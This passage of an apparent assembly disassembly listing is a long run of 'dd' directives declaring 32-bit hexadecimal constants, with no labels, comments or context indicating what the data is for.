		dd 0EFCBFEDAh, 0AC407135h, 73017CCEh, 73FED02h,	0C03FCB04h
		dd 956068E6h, 80B01A58h, 0B3B7F94Bh, 5EF31329h,	0C0E7C553h
		dd 78FE7194h, 11B14651h, 28C1838Fh, 6AC78458h, 1342E61Ah
		dd 0F878E562h, 0D006316Eh, 0B3E9C161h, 5AB8AAC4h, 890A5B8h
		dd 8025549Ch, 5E2D5802h, 0B033C6Fh, 0CDD8ACh, 7A39547Dh
		dd 0C3B8C831h, 0B2134D2Dh, 688E1025h, 35265AD9h, 58988202h
		dd 7E7C000h, 0CCEF2880h, 0F7AC2AEDh, 2FF7A0C5h,	880EC4F6h
		dd 7B318BE2h, 0E158D47Dh, 5905B582h, 0AFC91E05h, 0CE0122F2h
		dd 0E98480E5h, 0E34E864Ah, 0E60BCEE4h, 0C22A7AD9h, 619293E5h
		dd 0C421FD20h, 0F7D55CCh, 6FAE95Eh, 921D3D8Ch, 5D557AE1h
		dd 57090BF9h, 0F389E789h, 0EF511344h, 282A46D0h, 0A0AF054Ch
		dd 150FC330h, 0D066C0B6h
		dd 0BE9560Bh, 0C1880BA4h, 296D39E0h, 0FB8714F9h, 0D40734B1h
		dd 0F9093864h, 59941A86h, 43F11652h, 518A68E4h,	92922D75h
		dd 985D5F52h, 6295E90Ch, 0C38D2F0Ah, 8BE80100h,	0E234942Ch
		dd 0E9183503h, 0ECB7D471h, 68515600h, 32E16E34h, 1A925CFCh
		dd 3037015Eh, 0B4946BC4h, 2395C2C1h, 693864D2h,	89807F4Eh
		dd 3D122A93h, 9BDD0124h, 0F61AC501h, 9368C6ACh,	519304Bh
		dd 463F40EEh, 0D1D8392Dh, 50492407h, 0E9E08905h, 0C7496E76h
		dd 0CB02CCD0h, 0F616514Ah, 20330689h, 6D9313Ah,	2C415C0Dh
		dd 0C8062877h, 0F9B770C1h, 6B31CFFEh, 2DC58D40h, 721A30E9h
		dd 0E7EEB826h, 0B212EA28h, 0F4B6EFF9h, 61BE5600h, 292AFB3Ah
		dd 15E05F5h, 0A3515DEFh, 308650F4h, 2FF2D00h, 7374CBBh
		dd 53294C70h, 50464110h, 17016AF6h, 215E76AAh, 0E9E81C47h
		dd 213F6DEFh, 337E60F3h, 4DAABBD5h, 0D7E5C6BFh,	9243719Ah
		dd 0C1894081h, 98F07890h, 3947752h, 68B6A287h, 1B7E9155h
		dd 0CA3AF936h, 26D8D5ABh, 181C5B2h, 475495C2h, 0E1412013h
		dd 3B3F4082h, 0D09C48C8h, 0CD6B4B30h, 1C075E7Eh, 4EDC17Ch
		dd 8E68619Eh, 0AD30B9E9h, 0AC45192Ch, 220FAE39h, 24FB9EC4h
		dd 57659D79h, 1611C783h, 21EA881Fh, 108691Eh, 0AC20C231h
		dd 0B894C0E4h, 63EF42F8h, 8C5EE5F5h, 1EC1F355h,	798702BAh
		dd 0D2F76AEEh, 0D0B9C2C0h, 31B7E10Ah, 3542BAD3h, 94210566h
		dd 93EDE66Ch, 0A9829284h, 0B0C4E502h, 0BD55501Ch, 2B262574h
		dd 442E7C6Ah, 13092F24h, 0F38F4851h, 0D57A134Bh, 0DF020920h
		dd 476273A2h, 65A45E04h, 56E84829h, 1BC9247Ch, 3C0E42D8h
		dd 9A3F46F1h, 5A66D21Eh, 0EBF7F28Dh, 1A076872h,	0B548B56Dh
		dd 5460A099h, 0C6815E14h, 4926505Eh, 0D945F861h, 8C42DBF7h
		dd 0E5680364h, 0BD7240B5h, 4CD1467Eh, 407AF6A1h, 6B64C606h
		dd 162FF09h, 708C07EEh,	0F776AD60h, 0E98103D9h,	2C43795Eh
		dd 100ED1C3h, 583550EAh, 0B1F7F0Ch, 0CE29EFBCh,	1D157E02h
		dd 310B1745h, 3E785E8h,	0D601F044h, 90576398h, 4876F277h
		dd 181024ECh, 781A4D5Fh, 760CCB4Eh, 4020F247h, 5B1CB8EEh
		dd 27BD860Ch, 0C1FA0796h, 80660E69h, 3FEB801Dh,	49C87A01h
		dd 5F0C7CA2h, 2D8CEF31h, 4012326Bh, 0D275F011h,	31D52C72h
		dd 0C82090B8h, 0DF0502F9h, 9546C63h, 982F0764h,	1764A0C0h
		dd 4A7A155Ah, 18838429h, 347E0C08h, 68394F09h, 8991E1EEh
		dd 6C9E1632h, 10FD887Eh, 80D6F70Bh, 2F407382h, 0B090B83Dh
		dd 7BAA09DAh, 79A98CE9h, 7ABCDCC6h, 86F8E85Ah, 6BD6302Ah
		dd 147E0824h, 7C0C4260h, 0B029C1ACh, 0F8D04B17h, 804B2F84h
		dd 0FB48F350h, 19B0D6Fh, 60065BDEh, 2B1E79D9h, 5F6421C7h
		dd 8849022Eh, 5108B9CFh, 0F6680548h, 0F56E5033h, 0B6715D05h
		dd 0BFB72C57h, 0C56E9301h, 0F3DBE947h, 1E0DDEA8h, 8B52ED5Ch
		dd 704977B1h, 3F128804h, 0C95B1F21h, 0B34AF14Bh, 293E8469h
		dd 0BECD00E4h, 52301F7Bh, 289A05BAh, 0C24240C6h, 29025118h
		dd 35FE61CFh, 65088204h, 0D2DA23CBh, 29480250h,	0D3872A1Fh
		dd 0C6CC554Ah, 0C279B65Fh, 0CFDA02C5h, 0CC44D24Eh, 412FBEFh
		dd 166B5E2Dh, 0C6DDCD8Ch, 114D87CAh, 8EF369A1h,	0BF5A54A3h
		dd 37A170D2h, 6994C87Ch, 1C2A0F10h, 0DB82D3F6h,	0E16CB050h
		dd 800455FFh, 0A720808Ch, 4B89762Eh, 753DE941h,	23726800h
		dd 116052B4h, 517BE803h, 2CEBBD57h, 69E6EA47h, 3175C522h
		dd 0C2A05C05h, 638B3285h, 426E3555h, 0A304B2B0h, 0E38FE95Fh
		dd 8BD851F1h, 0F3A5A6DEh, 1B76519h, 2093EF6h, 4F7C15Eh
		dd 0B415994Dh, 0A9CA4253h, 0E994B503h, 0C302289Bh, 97402C3h
		dd 0F3DA8023h, 14CE4FB2h, 0BFD90125h, 0D6D2A417h, 561240ABh
		dd 900E689h, 40724C59h,	4DD69F7h, 6E01A500h, 0B0A0237Ch
		dd 0A4066BD5h, 2258E953h, 0F280286Eh, 0D69D35CFh, 5B27A354h
		dd 4C653D56h, 0FC99001h, 38882ED0h, 5B28F1B9h, 42314402h
		dd 0C3489267h, 61D0BBA8h, 16E94108h, 0D1589703h, 593A704h
		dd 0D1E561Fh, 0D481EE2Dh, 3B02C641h, 8BFD89F8h,	45AB543Ch
		dd 17C9168h, 4A5E6C54h,	6282929h, 0F4C08387h, 89B69133h
		dd 8655025Fh, 987FB9D6h, 62BCC14Ch, 0F525F935h,	0C429A02Fh
		dd 8B484F3Fh, 44D8299Bh, 943164C5h, 7E2EE233h, 2500504Bh
		dd 6F072D5Ah, 1641F3Fh,	164449F0h, 0EF41E02Bh, 824E781h
		dd 2E0A74C1h, 7D18A459h, 0A0DEF7DBh, 206233E5h,	2CF11BE1h
		dd 0C15D05EEh, 0E50106E5h, 0AFF218CCh, 68B70B2Bh, 2B2B320h
		dd 5A62D488h, 5C8453E4h, 56D5C52Eh, 5B3C928Dh, 7F920172h
		dd 105F0C81h, 94D23AE9h, 6CE815Bh, 70115C4h, 3C1D6EE6h
		dd 6848E868h, 4C325BC9h, 3DA009CCh, 36C0D50Dh, 0B7A56ABFh
		dd 126D9828h, 0F83159h,	63ADEF78h, 0C7F84CD0h, 881CAF1h
		dd 6C2594E9h, 0F8099E2Eh, 44FB143Ch, 13405187h,	0B41AECADh
		dd 8C041E85h, 4A3AA62Ch, 419688B4h, 0CF8A8085h,	0E9080642h
		dd 5B0C6D30h, 12FC1A4Dh, 0A71F2ECCh, 775D7746h,	7B680BB8h
		dd 0FA094410h, 2D7351FCh, 3E97E5C4h, 5D3C09F6h,	32260BFFh
		dd 3282466Bh, 4BC65B84h, 685F5405h, 0C4E362D4h,	0DB725B02h
		dd 0AC825532h, 2E804D3Eh, 24B9CB4Bh, 5F250F92h,	22B52BDBh
		dd 48BC8E28h, 9059CAA4h, 680244FAh, 1264A925h, 3B51D9EBh
		dd 31C671CEh, 0F5DA24ECh, 4EEB4105h, 60D18925h,	52001883h
		dd 68135A51h, 0DE375E6Fh, 0D855D337h, 4127E8A4h, 789E2C74h
		dd 0A1E1AF33h, 0D802FACBh, 6BD681DDh, 354C823Ch, 0C061B500h
		dd 0CDFE07E5h, 0DD2061E5h, 0CFEDCC22h, 59EC281Eh, 0C017CC41h
		dd 0C4FC08E4h, 326815F0h, 0B7284624h, 5BFC00ABh, 0F486D4F6h
		dd 0E96CC6FEh, 0B0AC6AD2h, 0F82E3030h, 3B24C2EDh, 0C2CF930h
		dd 4AAB1694h, 39428D7Ch, 0BBD2A1E1h, 0CB5E9005h, 0E82E2EE5h
		dd 9F01736Eh, 1DDD7D9h,	41963630h, 1A9108E3h, 0D160F55Ah
		dd 5C3D1FA4h, 0A34C8B26h, 0F7043B06h, 0E31F5DD3h, 199818A6h
		dd 95455FBEh, 0C59A13Bh, 1A6DAC5h, 66E83062h, 0B8026B53h
		dd 48E16852h, 0B1C14225h, 2ACA887Ah, 97B45834h,	593E40CBh
		dd 0E17D1B9Dh, 0A825A6Dh, 0B835DEB9h, 0C6E12B40h, 2648080Eh
		dd 0E905C1C1h, 0E33CE4BFh, 53D3BB82h, 40E9FB43h, 0CD0E24DDh
		dd 0B268590Bh, 92E11A2Bh, 97428258h, 4004C640h,	9A975C87h
		dd 0F9C8283h, 865FE40Ch, 4A5B2555h, 0D8D30FC6h,	4D4535CCh
		dd 5888A76Eh, 9895A4A2h, 0A0D1888Eh, 0C905F79Fh, 9672C83Dh
		dd 700EF201h, 0D1216310h, 0DC12E70h, 7DBFE3D4h,	64E940E5h
		dd 0B792D44h, 883EBB2h,	3F90C05h, 0C34C7E26h, 30E9B15Bh
		dd 0F7652E74h, 0E41D682Ah, 94E857F3h, 0C30F670Bh, 18A01672h
		dd 397F80E9h, 0C33C1BEBh, 824E7BF9h, 0B00390CDh, 0A6B78C28h
		dd 0DBF5701h, 3018A37Fh, 7B1844DEh, 6F0C42C5h, 2D413004h
		dd 0A9FEC490h, 5C01883Ah, 11B213B7h, 0D604899Dh, 18794D87h
		dd 5CC138A2h, 39201F9Ch, 0E1F75C03h, 2C7B3A68h,	804B70BFh
		dd 1F3299BDh, 0E5178169h, 40124FDCh, 747A5601h,	122B4918h
		dd 0F44BC2F5h, 348B9268h, 0A71288A5h, 5230FE4Fh, 0B9EE9381h
		dd 0C5B29005h, 181A2F84h, 4252317Dh, 6DD4C06Dh,	0D62D80FAh
		dd 21CE6E00h, 11426605h, 2E250776h, 0F060280Fh,	0A6B55836h
		dd 0C8C1313Ah, 73BA0ACCh, 0EB00FD8Ah, 3EF11A26h, 1CCB6829h
		dd 0C132608h, 0BA62BD22h
		dd 68626C0Bh, 10D91A76h, 0B05062h, 40B252E7h, 0EA80D2F6h
		dd 0D10EEF7Fh, 962CD028h, 0D7C37013h, 0EDC5B359h, 6681A241h
		dd 0EBE87AC1h, 0FAB8972Bh, 9FB45954h, 0EB685760h, 652EBE35h
		dd 54B8F09Ch, 5B05E48h,	0B15701Eh, 466C2h, 4EA8FE24h, 21C40A97h
		dd 0FD410502h, 0B207E029h, 8CD3515Eh, 308BBD8h,	0E94F6A77h
		dd 585C2D92h, 42CD659h,	78A09D5Ch, 6EDA218Ah, 0CE7E926h
		dd 7C4454B2h, 0F001654Fh, 0A059E971h, 0A64B4A6Eh, 0D39D627Bh
		dd 0D696BE1Eh, 86BDA374h, 190A198Ah, 690C280h, 66FAC0AEh
		dd 4568500Bh, 0CC433054h, 0E270B0h, 0C2285BF8h,	0CFE95866h
		dd 9E05E7CCh, 355600DAh, 8494AD1Ah, 582CC229h, 0E9C33859h
		dd 0F6A3AD2Bh, 5F42F069h, 0C274B482h, 80EA0F48h, 23AF7E05h
		dd 0A310FA29h, 0A30C6008h, 94693E5Ch, 2CCB6EC0h, 8790A06Fh
		dd 8DE95C04h, 0E1188D7Ah, 3AC78BDh, 0D250FBBAh,	26C6D34Ah
		dd 4FA2518Fh, 14C9CD46h, 549CB224h, 7F111116h, 0DCB801B2h
		dd 48277135h, 2530033Ah, 2FBF3070h, 0B78B348Bh,	0D1827002h
		dd 47DF7381h, 0D51D607Ah, 52676EBEh, 6544D392h,	0E22061h
		dd 0F835FBA2h, 8E9D989h, 4AA97556h, 59A6F913h, 0DE9DF06h
		dd 0CE07435Ch, 6C024948h, 0B01DC663h, 989032Eh,	0C11BE9F2h
		dd 0BC8DF6Ah, 8080B7C7h, 48E0FBEFh, 60E1AE61h, 0FBBA9F2h
		dd 50585523h, 54D604F1h, 13C05270h, 13E6135Fh, 4DF2934h
		dd 0A66AAB3Eh, 0C5110FEh, 0F4BA5201h, 0EC799B46h, 0B4B2D954h
		dd 0D824F483h, 0C800C155h, 0BD09C660h, 310BC2CCh, 56F05FFDh
		dd 56209C98h, 9847F402h, 80E809EFh, 0E440767Dh,	585BC501h
		dd 2BF06D44h, 680984A2h, 2B7159A9h, 0A5327034h,	9141587Ch
		dd 43E3C2C5h, 158F2248h, 566D0D1Eh, 517D9DC9h, 83596120h
		dd 34C870EEh, 0A11D9C83h, 8A686224h, 83746702h,	0EA56C017h
		dd 306E2CA8h, 0C4F200C7h, 1BD5305h, 8317D0B0h, 14CB02E9h
		dd 0F3526634h, 0F2E32433h, 12BCF744h, 5B1A05C0h, 2D3D374Bh
		dd 62E687FDh, 7CAF829h,	5F11503Eh, 0F4018924h, 0E356531Dh
		dd 444AA78Fh, 0F601D8Ah, 0ECF1E041h, 0F83B47EDh, 356C600Bh
		dd 966A9EEAh, 2DE2660h,	5E59DF5Fh, 865E2101h, 0AF3732Eh
		dd 0E03F5D68h, 19936667h, 0D232A52Ah, 0D161002h, 707F8380h
		dd 840F0B20h, 6DCE09F0h, 0C549E913h, 66E0ABC9h,	0DB3BD02Dh
		dd 0DA3B225Bh, 681230F0h, 4BA31930h, 1AF2B519h,	635CF853h
		dd 0E69B59C5h, 4A7B818Ah, 5EA900BEh, 0BC44EB2Dh, 0BA82A998h
		dd 77E90701h, 0D3CE24C8h, 16F63C59h, 62A3B5F8h,	0E22E573Dh
		dd 0CD6884DFh, 0A096FD6Fh, 80687DE9h, 1D03C7BEh, 0F3096D18h
		dd 8246135Eh, 9DEF246h,	644C2C68h, 0A48AA5FAh, 0D4765AC6h
		dd 0A1F62A42h, 3C096792h, 0FC56D2D2h, 373B96FCh, 0ECC18441h
		dd 478C4F81h, 71B11F51h, 124F9C80h, 89BEB2CBh, 5A92D151h
		dd 595B19ABh, 1D1A5508h, 16019380h, 234F3A8h, 0B512F2BAh
		dd 1CAC854Eh, 47A11A8Dh, 0A599C8ADh, 6E5F47E9h,	5184AE64h
		dd 0DF4C79A8h, 80EC8F8Ah, 2F546856h, 0D8F673B0h, 0B31C5F4Ch
		dd 58E6EACBh, 26BD0C98h, 5044DF0Ah, 80B73E9Ah, 0F3AFAC02h
		dd 0E541F7ADh, 5A007DFEh, 9120105h, 2E0A36B3h, 5F14072Dh
		dd 0ADB2B5A9h, 269CBF80h, 574F6378h, 43DAFA10h,	0EFC10F1Bh
		dd 9CC23C06h, 41546734h, 4F252h, 0E5783284h, 8600BA65h
		dd 313C972Ch, 0CF75DEAh, 1862E9DAh, 8004C67Dh, 21F428B6h
		dd 6189E8F0h, 53EB1D76h, 17FC855h, 6B3696EDh, 50F79429h
		dd 419D3E56h, 703882E5h, 0F872A471h, 840E531h, 9F3A39E9h
		dd 46C1B793h, 1E55A666h, 2DD67B06h, 0F41E2D6h, 73E97FA0h
		dd 68570051h, 19C24AE2h, 53CFEC5Fh, 95459B44h, 0CC091E3Ch
		dd 4D0207ABh, 0EEC56622h, 5531EE93h, 115C5CA7h,	29750CEBh
		dd 9DC04D46h, 72609AEEh, 8312440Ch, 2524CF68h, 84A6A064h
		dd 66DFD06Fh, 779E1C1h,	316195Fh, 50EEE005h, 1CCCB820h
		dd 89481039h, 377216F3h, 0FD655191h, 5089412Eh,	0ED1B6C31h
		dd 7B2568A3h, 0F6F8B700h, 4EFC0D7h, 9FCF3980h, 2857C78Fh
		dd 2C302AB9h, 795A89CFh, 298F4802h, 4F3C91D7h, 8A4A23CBh
		dd 3ABD1C40h, 0C0057FCFh, 0E4677EDh, 0E945122Dh, 0F71BC1D1h
		dd 67092FD3h, 4447890h,	0C279D6BAh, 1E3D9122h, 0FD8B496Ah
		dd 97050052h, 3F0F5856h, 72DC814h, 164F0E4Ch, 0C1BD81DFh
		dd 37223E6Eh, 42255E5Ch, 8100B329h, 4C6AE7CDh, 0ED260CA5h
		dd 0D3651734h, 87E0C20Ah, 73B0112Eh, 734A91FAh,	99B25D77h
		dd 4FB35406h, 0B86CF704h, 4950CFA4h, 0AE64F16Bh, 72598A6Eh
		dd 0FBD36750h, 0B2D82022h, 0D03CCA33h, 1757DEBFh, 0BDDFC0A8h
		dd 51073454h, 2EDC11Fh,	0A9574CD2h, 425A537h, 4C5BF322h
		dd 99214F5Dh, 6E1CAD93h, 5418CAD4h, 0EA5BEB10h,	0DFE90C31h
		dd 493B5F38h, 81D88D2Eh, 0C8AF0F5Ch, 6BDA9151h,	614E325Dh
		dd 6A4DE904h, 1E8A0516h, 0E9FA0106h, 0F6FAF921h, 750131FAh
		dd 5EF72969h, 5762F889h, 16787D10h, 0E1B066ACh,	47316427h
		dd 0B9C684EBh, 0A9805E06h, 4CC56C5Ch, 8904109h,	598F1C60h
		dd 553D4DEAh, 45E90989h, 488CF208h, 8C104DB5h, 0BE560019h
		dd 4716479h, 27F37D29h,	24683EF9h, 818261B1h, 651E1AB0h
		dd 65FE7096h, 64608CD1h, 905AE540h, 8B85556Dh, 45E8F540h
		dd 29397B2Bh, 0E796680Ch, 62F3598Fh, 5131688Bh,	0CE95A698h
		dd 0D7424AD1h, 0AF10A1E9h, 0EA682016h, 0CE191E40h, 0EB03090h
		dd 66D0315Ah, 8066C601h, 98545664h, 5566E357h, 48318E4Eh
		dd 88C962Ch, 3A99A152h,	3939613Fh, 0DE446A06h, 63D276B7h
		dd 7557075h, 7EB6BF57h,	85655FB5h, 0D542F4D6h, 38D25017h
		dd 0FB2F308h, 16BE5954h, 0C10CC03Fh, 407908E0h,	0DB67B834h
		dd 0B7506F98h, 0D6016A16h, 0E91DD15Dh, 56253B7h, 993C510Eh
		dd 61AC0156h, 0F0258E5Fh, 6413A1E5h, 870157DEh,	8F3CCB44h
		dd 52570C3Bh, 7E82C7C6h, 0BA554397h, 0B1CA124Fh, 0FAB05002h
		dd 5BD6E4B3h, 92AD6944h, 0C0BB1E50h, 3494EA3Bh,	609826B7h
		dd 916BE65h, 4FA549A4h,	0E10EC9B0h, 29068B5h, 0B242A805h
		dd 88B16206h, 0E90B083Ah, 453A294Eh, 0CC6329Ch,	0F72CD4D8h
		dd 0BA011EDFh, 166A832h, 0F5300438h, 0DE3141FEh, 2F9D1448h
		dd 20A0E637h, 0B906DFE3h, 68A81EDEh, 10F30E30h,	0C5C04A92h
		dd 736249E0h, 4E2918C3h, 50AA845Eh, 1C6808E1h, 0F002814h
		dd 6F7C43DCh, 5E14CE80h, 0F7060758h, 2917E9DEh,	3C770281h
		dd 4C87B850h, 6B2F2D54h, 959D74D2h, 505F4D14h, 8148EA8Dh
		dd 4B385FE9h, 905E787h,	19920C1h, 4F76D95Bh, 0D6FCF592h
		dd 6E74E939h, 0AFDCA422h, 8005FCD9h, 0FB83C467h, 0DF10534Eh
		dd 9C328F8Fh, 1A955D7Bh, 4A6F649h, 88F67CE9h, 0D01F4B11h
		dd 5D8BCADEh, 0E5DC855Ah, 0A07977FDh, 25694CA0h, 15033D57h
		dd 569E9431h, 0EA192A09h, 12315849h, 915D8BE9h,	0FC2E3C8Eh
		dd 1DF85531h, 9168F3A8h, 3B61C12h, 906D2FF5h, 9EEE6FDDh
		dd 0E91A6ABAh, 7CD362DDh, 0CEEA42BCh, 343F9DA4h, 5A7C27A2h
		dd 0B33985AAh, 254E7BE1h, 6B2C7813h, 0CAEA4B89h, 0D32118E2h
		dd 2D685AB5h, 5B6C7B2Ah, 5BDD7A1h, 1559830Fh, 32194C3Ah
		dd 60E63150h, 80CF9B4Eh, 0F3E0D9B6h, 3A9B6648h,	105558C3h
		dd 0AC014B43h, 0B252D830h, 0DF79346Dh, 5B0505B6h, 0F681EAC0h
		dd 520001C5h
		dd 801CD3B6h, 0F401FCC6h, 58E5285Ah, 0F7B1890h,	9DF53079h
		dd 0E964ED82h, 0F013EB7Ah, 33C02EEAh, 0A30C03E2h, 0D6E9D780h
		dd 96C4149h, 0A2335AD5h, 0F32C411h, 44869239h, 0B3C869Fh
		dd 40E99AC2h, 0C1FCC849h, 310809E8h, 639650C8h,	0C70EE926h
		dd 69CF57A6h, 0EBC5C898h, 31261493h, 60279B53h,	8C717D09h
		dd 652096BDh, 0C3011234h, 42FD58E0h, 12145D20h,	177C372h
		dd 0BA060BFDh, 0DA067165h, 0F2892904h, 0C9AE1FE8h, 0BB01C277h
		dd 60018EB9h, 4FAA876Eh, 3E42CD4h, 65396A18h, 168640Ah
		dd 4B21F9F7h, 4E1DB800h, 0E3356D9Eh, 20F50BA0h,	312C3713h
		dd 923CA4C6h, 0BE4BEBD3h, 708009FDh, 4F199770h,	0EA346AE8h
		dd 52083CC9h, 2AE07DD3h, 76F06F02h, 30592CEFh, 23A41396h
		dd 93BAE1F9h, 0AF3BC7FCh, 9FD1E7E3h, 315D01B9h,	0EEE1C11Fh
		dd 300B2A7Eh, 0B2A80218h, 853104F0h, 0FD44845Fh, 0DB2DC414h
		dd 5D2DD8F2h, 124F465h,	0BC28E9D0h, 0B66805BAh,	7006B327h
		dd 0D31C0258h, 0D649FBCAh, 0D4E8E917h, 290D0576h, 1CEA09D3h
		dd 0C6806664h, 0AC95ADA0h, 681C96h, 225561BEh, 0C4E3815Bh
		dd 73583772h, 2B721AFh,	22DA2677h, 11A7261h, 0CF22C2FEh
		dd 0A8D4FB12h, 545782D2h, 3BAF5B5Fh, 176B5247h,	4C45ACD8h
		dd 688008E5h, 4BA4DF96h, 2013A1C8h, 35DE1BAh, 0FC0D0F7Ah
		dd 0D190840Fh, 5FFA0103h, 62E458C1h, 397E073Dh,	206B0C61h
		dd 4D3AAB10h, 94559870h, 0BA520994h, 8D3AFC66h,	1070D17h
		dd 801AAD7h, 0B42CBAE9h, 3EB6DD4Bh, 0CAE44412h,	2F670CC3h
		dd 0AA0C10ECh, 327C2D04h, 0EFFD03E9h, 0EEFF144Eh, 1C806C25h
		dd 3922D5B9h, 0D9F7720Eh, 0EAD16C49h, 0F2817402h, 882F17F0h
		dd 68380209h, 0C8EC1220h, 1F256101h, 44BCE971h,	0D1F28205h
		dd 98DF5650h, 76C8C649h, 84105336h, 5228F6DCh, 68860798h
		dd 0D5493964h, 5DBA9234h, 0D751D3B2h, 0ED70115h, 2EBB6653h
		dd 0D9898247h, 4CF0705Bh, 4C2D8B08h, 0F4107A12h, 180BB41h
		dd 0D367B0DAh, 0ACC30625h, 68748FC7h, 5B365E12h, 63F64A80h
		dd 0C13E2440h, 0A123033h, 125176B3h, 46076FAEh,	6D9428B8h
		dd 1005A180h, 2E8D05E0h, 0C758C789h, 0FE2AF7E8h, 0B120BD54h
		dd 76899Fh, 56F4594h, 1875B835h, 0C0381047h, 6D821814h
		dd 3E64ACD9h, 0F50381C0h, 54C31625h, 65963145h,	4AB6C23h
		dd 0ACE6ED4h, 0B08AAB27h, 78AA3000h, 10358836h,	0E1192968h
		dd 42B5B2Ah, 13E8BCC2h,	37123608h, 72088D05h, 6EE987DBh
		dd 16F565EBh, 0A02F53BDh, 1E731D1h, 21986192h, 0E821BB0Fh
		dd 186E5D64h, 0F902500Bh, 0BD00F805h, 0A9BF771Eh, 6800E3ADh
		dd 0DC260194h, 0DA0B3C0Dh, 5B69A653h, 5BE97F0Eh, 0A2AD755Ch
		dd 9EF1503Fh, 1FA67612h, 0B857B81Fh, 0F895DE1h,	0F7E91C0Dh
		dd 553BFC11h, 8371BDB6h, 59BAA205h, 5EDF24ABh, 33C2BA80h
		dd 9504E6Eh, 0E47FCDB8h, 476FE0Fh, 2D6EB8Fh, 0D268575Eh
		dd 2D329087h, 0F866B910h, 5E1754B8h, 0BA65555Dh, 0D5E4AA13h
		dd 8C6C4F81h, 8824E967h, 4E5ACBECh, 7E913E9h, 0E83DD059h
		dd 44171B6Eh, 1510F301h, 0EE5E2608h, 0E985D22Bh, 5494AA30h
		dd 5B0FD6A8h, 0A784515Dh, 20BFCD3Dh, 4C974616h,	237B6DDh
		dd 71F17E3Bh, 677CB740h, 0C05EF824h, 0B3120613h, 0ABB14343h
		dd 0D196C380h, 693A3F91h, 2E642F03h, 5ACF76B0h,	0F67CD3ABh
		dd 896CFD88h, 525BDA12h, 425A1840h, 0B2F337E9h,	4A0AEC54h
		dd 0E25A5203h, 653E10B1h, 70126808h, 0DB3B252Ch, 6088D38Ch
		dd 59EB8D37h, 0BC07B551h, 28ADED80h, 6D5E991h, 5BDE2183h
		dd 6130F030h, 70E9D35Ah, 0FC89D2E0h, 129629h, 0ABA498B9h
		dd 5F9C6644h, 24706830h, 636F1BB6h, 9C013D31h, 71BA1394h
		dd 2CEAAC7h, 0D516066h,	0EE0AC276h, 0BC606354h,	0F25BE9F1h
		dd 0B1E83AC4h, 9786BCD2h, 6A30F029h, 0C8288052h, 0AB85976h
		dd 4B740159h, 314E49F6h, 0D6E95354h, 0AD003554h, 27282C2Dh
		dd 0E805076Ch, 0A079F640h, 4CD1030Eh, 56D82900h, 3B6BA6BEh
		dd 68BEC06Eh, 0E9DE9597h, 0C3B11CE0h, 8B0AD800h, 0B5D72957h
		dd 0F490572Ch, 1ED12040h, 0E6D068E1h, 9348696Ch, 59803DE4h
		dd 2C98333h, 7696D37h, 27BB4BF9h, 0B590F260h, 3996487Bh
		dd 3D167F3Eh, 0E775C11Fh, 44C2046Fh, 0BA775CC6h, 6DB002A2h
		dd 0CB42AF41h, 7BDED82Ah, 0AD409D89h, 463F1BD3h, 0BC93242Fh
		dd 3E2D8BADh, 0F05C4A7Eh, 9CF23EBh, 0B6520380h,	0F3F1838Eh
		dd 9F45CF5Ah, 73B2D112h, 52C02B12h, 3AF02107h, 55800A8h
		dd 33261D0Bh, 5F7E4352h, 0ECD004BCh, 1100EB2Bh,	0F02F562Dh
		dd 9DC58941h, 0F5906A94h, 511215A7h, 465E7C5h, 0AC0A4E21h
		dd 53200500h, 5664AF16h, 3BF96307h, 0EBD12E50h,	8E327C1h
		dd 6BB8B9C3h, 634A2031h, 9E4E8B0h, 89CD0746h, 0DF340A02h
		dd 0C52F55C5h, 0A7C18970h, 0DF78067Ah, 1C04DE4Bh, 0DDEC5550h
		dd 887E107Dh, 4910B50Dh, 3E825A0Fh, 5B6849DDh, 90387B61h
		dd 5068052Dh, 3025E02Dh, 2CBB1636h, 0A7AE53E9h,	93FC94Ch
		dd 2C712C2h, 6817CF4h, 970A4FEFh, 0E9950C41h, 0C0675B87h
		dd 0F72E101Ah, 2BC08555h, 0EF165DFDh, 756AF426h, 30980A17h
		dd 70163C00h, 944D1956h, 206329Eh, 20C18EF0h, 0E7A6201h
		dd 537F2AD1h, 89D3B214h, 2DC460FDh, 0F00A0B9Bh,	0F4025734h
		dd 915966A6h, 0B9CB5413h, 2168995Eh, 342C114Dh,	0B9685553h
		dd 3809112Dh, 245B0138h, 0D4B6C1E9h, 0A68A2B5Ah, 0E9A0444Eh
		dd 83EF95B7h, 9CC1D588h, 0C3AD04AAh, 0B0135B6Eh, 410BEEBAh
		dd 0D801102Bh, 5008807Bh, 13DA0968h, 87406254h,	0A482D1BFh
		dd 0DBED5138h, 0D138B2D7h, 4AE1D00Ah, 8DE50390h, 6D8B2D12h
		dd 210B1E01h, 0CD1E043Fh, 300CA35Ch, 75A90C0Eh,	0D2F55E26h
		dd 854AA66Dh, 1A5287F6h, 586E96D6h, 0C639C85Bh,	0ED253D12h
		dd 0C5EFCFE0h, 1BA3BE9Ah, 45590958h, 0C8895908h, 0E5267CBBh
		dd 16E334FAh, 0EE4B7F0Eh, 0E9436099h, 55C37C6h,	7A87575Bh
		dd 0CA78D439h, 9B0BCB09h, 2CDEC731h, 0E0C11735h, 0E0A52E1Fh
		dd 4AB76824h, 5A95E723h, 59CAC131h, 52CB5978h, 6E5A7711h
		dd 0E509D856h, 0A710DE21h, 48035DE0h, 9302393Eh, 6C95D572h
		dd 32AEFF07h, 1917CA61h, 18834CE9h, 1497778Eh, 0B0183A04h
		dd 15B887B2h, 0B1D292Ch, 0E494DE2Fh, 328B8BB4h,	8C545D8h
		dd 0AD144FB7h, 45F8059Dh, 92006496h, 273E517Bh,	8B60F901h
		dd 7C5818C9h, 74E8877h,	18C150FCh, 79B80C3Dh, 246F6A60h
		dd 122F931h, 83667AC2h,	8D4701Eh, 407D12C3h, 12429613h
		dd 4EC4423h, 905E2775h,	0E532DDCh, 889756E2h, 680507F2h
		dd 23EC0DB6h, 3B765CC0h, 0F304816Fh, 2ED70344h,	1660ECA2h
		dd 0ED37898Ah, 192B2D3Fh, 9EC6B11h, 595B5401h, 0FD0430DFh
		dd 5E134472h, 0D2C246E9h, 0E157133h, 0E4555466h, 24349C76h
		dd 0C74F3EA7h, 0BE406B3Fh, 0F94A4BCh, 6F0E238Dh, 95AD73F0h
		dd 0A9D528B0h, 0B8E2D180h, 0A9049DC5h, 0DD175301h, 513373C2h
		dd 0D1923DA7h, 8739E4CAh, 3D5B012Eh, 9343DB07h,	203BD047h
		dd 50150E64h, 0DA292858h, 95EA5B88h, 90551980h,	0CBBE03E8h
		dd 8942A938h, 1509620h,	0BD5FC4B8h, 92C53113h, 19CEA42h
